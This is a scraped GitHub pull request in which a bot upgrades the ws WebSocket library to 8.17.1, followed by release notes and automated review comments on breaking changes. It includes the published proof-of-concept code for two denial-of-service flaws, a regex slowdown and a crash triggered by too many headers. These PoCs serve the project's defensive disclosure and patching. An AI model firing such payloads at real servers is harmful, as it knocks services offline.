chore(deps): update dependency ws to v8 [security] #32237

renovate · 2025-08-13T14:22:17Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
ws	`5.2.4` → `8.17.1`

GitHub Vulnerability Alerts

CVE-2021-32640

Impact

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Patches

The vulnerability was fixed in [email protected] (websockets/ws@00c425e) and backported to [email protected] (websockets/ws@78c676d) and [email protected] (websockets/ws@76d47c1).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (websockets/ws@e55e510) and backported to [email protected] (websockets/ws@22c2876), [email protected] (websockets/ws@eeb76d3), and [email protected] (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

Release Notes

websockets/ws (ws)

`v8.17.1`

Compare Source

Bug fixes

Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in #2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the
--max-http-header-size=size and/or the maxHeaderSize options so
that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

`v8.17.0`

Compare Source

Features

The WebSocket constructor now accepts the createConnection option (#2219).

Other notable changes

The default value of the allowSynchronousEvents option has been changed to
true (#2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

`v8.16.0`

Compare Source

Features

Added the autoPong option (01ba54e).

`v8.15.1`

Compare Source

Notable changes

The allowMultipleEventsPerMicrotask option has been renamed to
allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

`v8.15.0`

Compare Source

Features

Added the allowMultipleEventsPerMicrotask option (93e3552).

`v8.14.2`

Compare Source

Bug fixes

Fixed an issue that allowed errors thrown by failed assertions to be
swallowed when running tests (7f4e1a7).

`v8.14.1`

Compare Source

Bug fixes

Improved the reliability of two tests for CITGM (fd3c64c).

`v8.14.0`

Compare Source

Features

The WebSocket constructor now accepts HTTP(S) URLs (#2162).
The socket argument of server.handleUpgrade() can now be a generic
Duplex stream (#2165).

Other notable changes

At most one event per microtask is now emitted (#2160).

`v8.13.0`

Compare Source

Features

Added the finishRequest option to support late addition of headers (#2123).

`v8.12.1`

Compare Source

Bug fixes

Added browser condition to package.json (#2118).

`v8.12.0`

Compare Source

Features

Added support for utf-8-validate@6 (ff63bba).

Other notable changes

buffer.isUtf8() is now used instead of utf-8-validate if available
(42d79f6).

`v8.11.0`

Compare Source

Features

WebSocket.prototype.addEventListener() now supports an event listener
specified as an object with a handleEvent() method. (9ab743a).

Bug fixes

WebSocket.prototype.addEventListener() now adds an event listener only if it
is not already in the list of the event listeners for the specified event type
(1cec17d).

`v8.10.0`

Compare Source

Features

Added an export for package.json (211d5d3).

`v8.9.0`

Compare Source

Features

Added the ability to connect to Windows named pipes (#2079).

`v8.8.1`

Compare Source

Bug fixes

The Authorization and Cookie headers are no longer sent if the original
request for the opening handshake is sent to an IPC server and the client is
redirected to another IPC server (bc8bd34).

`v8.8.0`

Compare Source

Features

Added the WS_NO_BUFFER_UTIL and WS_NO_UTF_8_VALIDATE environment
variables (becf237).

`v8.7.0`

Compare Source

Features

Added the ability to inspect the invalid handshake requests and respond to
them with a custom HTTP response. (6e5a5ce).

Bug fixes

The handshake is now aborted if the Upgrade header field value in the HTTP
response is not a case-insensitive match for the value "websocket" (0fdcc0a).
The Authorization and Cookie headers are no longer sent when following an
insecure redirect (wss: to ws:) to the same host (d68ba9e).

`v8.6.0`

Compare Source

Features

Added the ability to remove confidential headers on a per-redirect basis (#2030).

`v8.5.0`

Compare Source

Features

Added the ability to use a custom WebSocket class on the server (#2007).

Bug fixes

When following redirects, the Authorization and Cookie headers are no
longer sent if the redirect host is different from the original host (#2013).

`v8.4.2`

Compare Source

Bug fixes

Fixed a data framing issue introduced in version 8.4.1 (#2004).

`v8.4.1`

Compare Source

Notable changes

To improve performance, strings sent via websocket.ping(),
websocket.pong(), and websocket.send() are no longer converted to
Buffers if the data does not need to be masked (#2000).

`v8.4.0`

Compare Source

Features

Added ability to generate custom masking keys (#1990).

`v8.3.0`

Compare Source

Features

Added ability to pause and resume a WebSocket (0a8c7a9).

Bug fixes

Fixed a bug that could prevent the connection from being closed cleanly when
using the stream API (ed2b803).
When following redirects, an error is now emitted and not thrown if the
redirect URL is invalid (#1980).

`v8.2.3`

Compare Source

Bug fixes

When context takeover is enabled, messages are now compressed even if their size
is below the value of the perMessageDeflate.threshold option (41ae563).

`v8.2.2`

Compare Source

Bug fixes

Some closing operations are now run only if needed (ec9377c).

`v8.2.1`

Compare Source

Bug fixes

Fixed an issue where the socket was not resumed, preventing the connection
from being closed cleanly (869c989).

`v8.2.0`

Compare Source

Features

Added WebSocket.WebSocket as an alias for WebSocket and
WebSocket.WebSocketServer as an alias for WebSocket.Server to fix name
consistency and improve interoperability with the ES module wrapper (#1935).

`v8.1.0`

Compare Source

Features

Added ability to skip UTF-8 validation (#1928).

Bug fixes

Fixed an issue with a breaking change in Node.js master (6a72da3).
Fixed a misleading error message (c95e695).

`v8.0.0`

Compare Source

Breaking changes

The WebSocket constructor now throws a SyntaxError if any of the
subprotocol names are invalid or duplicated (0aecf0c).
The server now aborts the opening handshake if an invalid
Sec-WebSocket-Protocol header field value is received (1877dde).
The protocols argument of handleProtocols hook is no longer an Array but
a Set (1877dde).
The opening handshake is now aborted if the Sec-WebSocket-Extensions header
field value is empty or it begins or ends with a white space (e814110).
Dropped support for Node.js < 10.0.0 (552b506).
The WebSocket constructor now throws a SyntaxError if the connection URL
contains a fragment identifier or if the URL's protocol is not one of 'ws:',
'wss:', or 'ws+unix:' (ebea038).
Text messages and close reasons are no longer decoded to strings. They are
passed as Buffers to the listeners of their respective events. The listeners
of the 'message' event now take a boolean argument specifying whether or not
the message is binary (e173423).

Existing code can be migrated by decoding the buffer explicitly.
```
websocket.on('message', function message(data, isBinary) {
  const message = isBinary ? data : data.toString();
  // Continue as before.
});

websocket.on('close', function close(code, data) {
  const reason = data.toString();
  // Continue as before.
});
```
The package now uses an ES module wrapper (78adf5f).
WebSocketServer.prototype.close() no longer closes existing connections
(df7de57).

Existing code can be migrated by closing the connections manually.
```
websocketServer.close();
for (const ws of websocketServer.clients) {
  ws.terminate();
}
```
The callback of WebSocketServer.prototype.close() is now called with an
error if the server is already closed (abde9cf).
WebSocket.prototype.addEventListener() is now a noop if the type argument
is not one of 'close', 'error', 'message', or 'open' (9558ed1).
WebSocket.prototype.removeEventListener() now only removes listeners added
with WebSocket.prototype.addEventListener() and only one at time (ea95d9c).
The value of the onclose, onerror, onmessage, and onopen properties is
now null if the respective event handler is not set (6756cf5).
The OpenEvent class has been removed (21e6500).

Bug fixes

The event listeners added via handler properties are now independent from the
event listeners added with WebSocket.prototype.addEventListener()
(0b21c03).

`v7.5.10`

Compare Source

Bug fixes

Backported e55e510 to the 7.x release line (22c2876).

`v7.5.9`

Compare Source

Bug fixes

Backported bc8bd34 to the 7.x release line (0435e6e).

`v7.5.8`

Compare Source

Bug fixes

Backported 0fdcc0a to the 7.x release line (2758ed3).
Backported d68ba9e to the 7.x release line (dc1781b).

`v7.5.7`

Compare Source

Bug fixes

Backported 6946f5f to the 7.x release line (1f72e2e).

`v7.5.6`

Compare Source

Bug fixes

Backported b8186dd to the 7.x release line (73dec34).
Backported ed2b803 to the 7.x release line (22a26af).

`v7.5.5`

Compare Source

Bug fixes

Backported ec9377c to the 7.x release line (0e274ac).

`v7.5.4`

Compare Source

Bug fixes

Backported 6a72da3 to the 7.x release line (76087fb).
Backported 869c989 to the 7.x release line (2799793).

`v7.5.3`

Compare Source

Bug fixes

The WebSocketServer constructor now throws an error if more than one of the
noServer, server, and port options are specefied (66e58d2).
Fixed a bug where a 'close' event was emitted by a WebSocketServer before
the internal HTTP/S server was actually closed (5a58730).
Fixed a bug that allowed WebSocket connections to be established after
WebSocketServer.prototype.close() was called (772236a).

`v7.5.2`

Compare Source

Bug fixes

The opening handshake is now aborted if the client receives a
Sec-WebSocket-Extensions header but no extension was requested or if the
server indicates an extension not requested by the client (aca94c8).

`v7.5.1`

Compare Source

Bug fixes

Fixed an issue that prevented the connection from being closed properly if an
error occurred simultaneously on both peers (b434b9f).

`v7.5.0`

Compare Source

Features

Some errors now have a code property describing the specific type of error
that has occurred (#1901).

Bug fixes

A close frame is now sent to the remote peer if an error (such as a data
framing error) occurs (8806aa9).
The close code is now always 1006 if no close frame is received, even if the
connection is closed due to an error (8806aa9).

`v7.4.6`

Compare Source

Bug fixes

Fixed a ReDoS vulnerability (00c425e).

A specially crafted value of the Sec-Websocket-Protocol header could be used
to significantly slow down a ws server.

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

The vulnerability was responsibly disclosed along with a fix in private by
Robert McLaughlin from University of California, Santa Barbara.

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum
allowed length of the request headers using the --max-http-header-size=size
and/or the maxHeaderSize options.

`v7.4.5`

Compare Source

Bug fixes

UTF-8 validation is now done even if utf-8-validate is not installed
(23ba6b2).
Fixed an edge case where websocket.close() and websocket.terminate() did
not close the connection (67e25ff).

`v7.4.4`

Compare Source

Bug fixes

Fixed a bug that could cause the process to crash when using the
permessage-deflate extension (9277437).

`v7.4.3`

Compare Source

Bug fixes

The deflate/inflate stream is now reset instead of reinitialized when context
takeover is disabled (#1840).

`v7.4.2`

Compare Source

Bug fixes

Silenced a deprecation warning (a2c0d44).

`v7.4.1`

Compare Source

Bug fixes

Added a workaround for a double 'error' event bug in Node.js < 13 which
caused an uncaught error during the WebSocket handshake (38d6ab3).

`v7.4.0`

Compare Source

Features

The callback of WebSocketServer.prototype.handleUpgrade() now takes the
client HTTP GET request as second argument (7d39f19).

Bug fixes

Read-only properties are now read-only (eabed8f).
The CONNECTING, OPEN, CLOSING, CLOSED, binaryType, bufferedAmount,
extensions, onclose, onerror, onmessage, onopen, protocol,
readyState, and url properties are now enumerable (2069e68).

`v7.3.1`

Compare Source

Bug fixes

Improved websocket.bufferedAmount accuracy (e1349c0, a162942).

`v7.3.0`

Compare Source

Features

WebSocket.prototype.addEventListener() now supports the once option (#1754).

`v7.2.5`

Compare Source

Bug fixes

Fixed compatibility with Node.js master (651d662).

`v7.2.3`

Compare Source

Bug fixes

WebSocket#{p{i,o}ng,close}() now thow an error if the data to send is too
large to fit in a control frame (e54f08d).

`v7.2.2`

Compare Source

Bug fixes

Fixed an issue where calling webSocketStream.end() could cause the process
to crash (9535702).
The connection is now closed if a non-masked frame is received on the server
or a masked frame is received on the client (#1681).
The status code 1014 is now allowed to be used (#1682).

`v7.2.1`

Compare Source

Bug fixes

Added bufferutil and utf-8-validate as peer dependencies (#1626).

`v7.2.0`

Compare Source

Features

Added ability to specify the readableObjectMode option when using
WebSocket.createWebSocketStream() (#1647).

`v7.1.2`

Compare Source

Bug fixes

Fixed a bug that caused compress jobs to never be marked as complete
(#1618).

`v7.1.1`

Compare Source

Bug fixes

An error is now thrown if the WebSocket server constructor is used
incorrectly (3641266).

`v7.1.0`

Compare Source

Features

Added utility to wrap a WebSocket in a Duplex stream (#1589).

Bug fixes

Reverted "[minor] Remove unneeded if statement" (dbacf58, #1591).

`v7.0.1`

Compare Source

Bug fixes

Added ability to disable sending the SNI extension (#1587).

`v7.0.0`

Compare Source

Breaking changes

Dropped support for Node.js 6 (1e6999b).
Dropped support for url.Url instances in the WebSocket constructor
(692d7b4).
The behavior of WebSocket#{p{i,o}ng,send}() has changed when the
readyState attribute is not OPEN (#1532)
- If the readyState attribute is CONNECTING, an exception is thrown.
- If the readyState attribute is CLOSING or CLOSED
  - The bufferedAmount attribute is increased by the length of the data
    argument in bytes.
  - If provided, the callback function is called with an error.
  - No exception is thrown even if the callback function is not provided.

`v6.2.3`

Compare Source

Bug fixes

Backported e55e510 to the 6.x release line (eeb76d3).

`v6.2.2`

Compare Source

Bug fixes

Backported 00c425e to the 6.x release line (78c676d).

`v6.2.1`

Compare Source

Bug fixes

Fixed a bug that, under certain circumstances, prevented the close timer from
being set (aa1dcd5).

`v6.2.0`

Compare Source

Features

Added ability to follow redirects (#1490).

Bug fixes

The opening handshake is now aborted if the Sec-WebSocket-Key header field
value is invalid (160af45).

`v6.1.4`

Compare Source

Bug fixes

Fixed an issue that caused the Host header to always include a port (#1510).

`v6.1.3`

Compare Source

Bug fixes

Fixed a bug that, under certain circumstances, prevented the close frame from
being parsed (#1494).

`v6.1.2`

Compare Source

Bug fixes

Restored compatibility with Node.js < 6.13.0 (26436e0).

`v6.1.1`

Compare Source

Bug fixes

Queued messages to send are now discarded if the permessage-deflate is enabled
and the socket closes prematurely (#1464, #1471).

`v6.1.0`

Compare Source

Features

The WebSocket server now emits a 'close' event when the server
closes (#1453).

`v6.0.0`

Compare Source

Breaking changes

Dropped support for Node.js 4 (d73885c).
Added a shim that throws an error when used if the package is bundled for the
browser (#1345).
Added a maxPayload option on the client. Defaults to 100 MiB (#1402).
Dropped support for the memLevel and level options. Use
zlibDeflateOptions instead. (80e2002).

Configuration

📅 Schedule: Branch creation - "" in timezone America/New_York, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

cypress-app-bot · 2025-08-13T14:22:31Z

See the guidelines for reviewing dependency updates for info on how to review dependency update PRs.

cursor · 2026-01-08T18:49:52Z

packages/server/package.json

    "tsconfig-paths": "3.10.1",
    "webpack": "^5.88.2",
-    "ws": "5.2.4",
+    "ws": "8.17.1",


WebSocket message handlers expect strings but receive Buffers

High Severity

The upgrade from ws v5 to v8 introduces a breaking change where message data is now passed as Buffer objects instead of strings. The test files packages/server/test/integration/websockets_spec.js and system-tests/test/websockets_spec.js have message handlers that expect strings directly (e.g., expect(data).to.eq('response:foo') and template literals like response:${msg}), but will now receive Buffers. This causes test assertions to fail and incorrect message responses. The pattern used in cdp_spec.ts (calling .toString() on message data) is the correct approach for ws v8 compatibility, but these files weren't updated.

🔬 Verification Test

Why verification test was not possible: The bug manifests in test files that aren't part of the diff. However, the breaking change is documented in ws v8.0.0 release notes (confirmed via web search) which state "Text messages and close reasons are no longer decoded to strings. They are passed as Buffers." The existing code in websockets_spec.js files uses patterns like expect(data).to.eq('response:foo') and template literals ${msg} that assume string data, which will fail when data/msg are Buffers. The cdp_spec.ts file in the same codebase already uses the correct ws v8 pattern: JSON.parse(data.toString()).

Additional Locations (1)

system-tests/package.json#L89-L90

cursor · 2026-01-08T18:49:52Z

packages/server/package.json

    "tsconfig-paths": "3.10.1",
    "webpack": "^5.88.2",
-    "ws": "5.2.4",
+    "ws": "8.17.1",


Server close cleanup fails on already-closed servers

Medium Severity

In ws v8, calling WebSocketServer.close() on an already-closed server now calls the callback with an error (this was a no-op before). In packages/server/test/integration/cdp_spec.ts, the closeWsServer() function rejects on any error, and afterEach calls it unconditionally. Tests like "retries up to 20 times" and "stops trying to reconnect if .close() is called" close the server mid-test without restarting it. When afterEach runs and calls closeWsServer() again, the promise will reject because the server is already closed, causing test cleanup failures.

🔬 Verification Test

Why verification test was not possible: This bug requires running the actual test suite with the upgraded ws v8 dependency. The behavioral change is documented in the ws v8.0.0 release notes: "The callback of WebSocketServer.prototype.close() is now called with an error if the server is already closed." The existing closeWsServer() function at line 84-97 of cdp_spec.ts rejects on error (if (err) { return reject(err) }), and afterEach at line 121 calls this without error handling, which will fail when the server was already closed during the test.

renovate bot added the type: dependencies label Aug 13, 2025

renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 3e3fc8e to eeb4238 Compare August 19, 2025 12:53

renovate bot force-pushed the renovate/npm-ws-vulnerability branch from eeb4238 to 3b5292f Compare August 31, 2025 13:51

renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 3b5292f to aa93f36 Compare September 25, 2025 14:29

renovate bot force-pushed the renovate/npm-ws-vulnerability branch from aa93f36 to 5becd53 Compare October 15, 2025 21:59

renovate bot changed the title ~~chore(deps): update dependency ws to v8 [security]~~ chore(deps): update dependency ws to v7 [security] Oct 15, 2025

renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 5becd53 to c5c282d Compare October 21, 2025 13:59

renovate bot force-pushed the renovate/npm-ws-vulnerability branch from c5c282d to 1cf8619 Compare November 10, 2025 16:56

renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 1cf8619 to bedf656 Compare November 18, 2025 14:29

renovate bot force-pushed the renovate/npm-ws-vulnerability branch from bedf656 to 3e24fcb Compare December 7, 2025 16:18

renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from 6826617 to 4a940c2 Compare December 19, 2025 19:50

renovate bot changed the title ~~chore(deps): update dependency ws to v7 [security]~~ chore(deps): update dependency ws to v8 [security] Dec 19, 2025

renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 4a940c2 to 79e4bbd Compare December 31, 2025 14:07

renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 79e4bbd to 9cd56fd Compare January 8, 2026 18:43

cursor bot reviewed Jan 8, 2026

View reviewed changes

renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 9cd56fd to 1f443ac Compare January 19, 2026 19:11

chore(deps): update dependency ws to v8 [security]

03daf7b

renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 1f443ac to 03daf7b Compare February 2, 2026 16:12

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency ws to v8 [security] #32237

chore(deps): update dependency ws to v8 [security] #32237

renovate bot commented Aug 13, 2025 •

edited

Loading

Uh oh!

cypress-app-bot commented Aug 13, 2025

Uh oh!

cursor bot Jan 8, 2026

Uh oh!

cursor bot Jan 8, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

chore(deps): update dependency ws to v8 [security] #32237

Are you sure you want to change the base?

chore(deps): update dependency ws to v8 [security] #32237

Conversation

renovate bot commented Aug 13, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Impact

Proof of concept

Patches

Workarounds

Credits

Impact

Proof of concept

Patches

Workarounds

Credits

References

Release Notes

Bug fixes

Features

Other notable changes

Features

Notable changes

Features

Bug fixes

Bug fixes

Features

Other notable changes

Features

Bug fixes

Features

Other notable changes

Features

Bug fixes

Features

Features

Bug fixes

Features

Features

Bug fixes

Features

Features

Bug fixes

Bug fixes

Notable changes

Features

Features

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Features

Features

Bug fixes

Breaking changes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Features

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Features

Bug fixes

Bug fixes

Features

Bug fixes

renovate bot commented Aug 13, 2025 •

edited

Loading